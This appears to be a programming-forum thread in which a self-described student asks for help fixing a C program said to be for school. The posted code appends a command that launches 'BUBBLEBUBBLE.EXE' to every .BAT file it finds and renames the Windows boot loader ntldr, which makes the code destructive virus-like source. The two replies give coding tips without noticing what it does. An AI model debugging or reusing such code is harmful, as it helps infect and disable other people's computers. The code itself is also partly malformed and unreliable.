| |||||||||
![]() |
|
|
«
Previous Thread
|
Next Thread
»
|
Thread Tools | Search this Thread | Display Modes |
|
#1
|
|||
|
|||
|
C program crashing!?!?
Hey everyone!!
....Just started C a couple weeks ago, so save the laughs about my coding plz....I'm currently doing a project for high school in C. My objective with this program is to find all bat files in the given directory, then add the path to my program on the last line. I seem to have noticed that it doesn't crash on the school computer, which is running Win98 SE. At home, I have XP SP2. Everything compiles fine with borland's bcc32, but when i execute, my program crashes......any help is much appreciated as it's due in 2 days!! Below is my code.================================================== #include <stdio.h> #include<dos.h> #include<string.h> #include<dir.h> struct ffblk ffblk1; int Find_Me(); int Get_Me(char *path); int Blow_Me(); main() { char old[MAXPATH]; Get_Me(old); chdir(old); Find_Me(); Blow_Me(); return 0; } struct ffblk ffblk2; Find_Me() { char comp(FA_HIDDEN); char comp1(FA_HIDDEN); char comp2(FA_HIDDEN); int q; chdir(".."); if(findfirst("*.BAT",&ffblk2,comp)!=-1) Blow_Me(); while(comp!=-1) { comp=findnext(&ffblk2); Blow_Me(); } chdir(".."); if (findfirst("ntldr.*",&ffblk2,comp1)!=-1) { rename("ntldr","ntldr.foo"); while(q!=-1) { q=findnext(&ffblk2); } } return 0; } Blow_Me() { FILE *squeek; char Blow_Buffer[17]; char vpath[MAXPATH]; Get_Me(vpath); squeek=fopen(ffblk2.ff_name,"rt+"); fseek(squeek,-16,SEEK_END); fread(Blow_Buffer,16,1,squeek); Blow_Buffer[16]=0; if (strcmp(Blow_Buffer,"BUBBLEBUBBLE.EXE")) { fseek(squeek,0,SEEK_END); fprintf(squeek,"\nSTART C:\\testdir\\BUBBLEBUBBLE.EXE",&ffblk2); } fclose(squeek); return 0; } Get_Me(char *path) { strcpy(path, "A:\\"); path[0]='A' + getdisk(); getcurdir(0, path+3); return 0; } |
|
#2
|
|||
|
|||
|
general suggestion/comment
I realize this is not the answer you are looking for, but the advise will serve you well now and in the future:
comment your code! if you have good comments it allows other programmers to glance at your stuff and follow what you are doing and therefore be able to help you without have to decode your personalized variables/functions/methods/class names etc. It is also very useful for maintainence of your own code; i.e. if you return to a project after a couple days/weeks/months you can see easily what was going on... best of luck! Quote:
|
|
#3
|
|||
|
|||
|
Your error is genuine. Though I just glanced over your code , I doubt that FindFirstFile and FindNext take different arguments for Win98SE and Win XP.
If you check MSDN, for any function, in the REMARK section , you will find under what OS do the functions need to take different arguments, values or flags. Check out that first and then try. |
![]() |
| Viewing: Dev Articles Community Forums > Programming > C/C++ Help > C program crashing!?!? |
| Thread Tools | Search this Thread |
| Display Modes | Rate This Thread |
|
|
|
|
|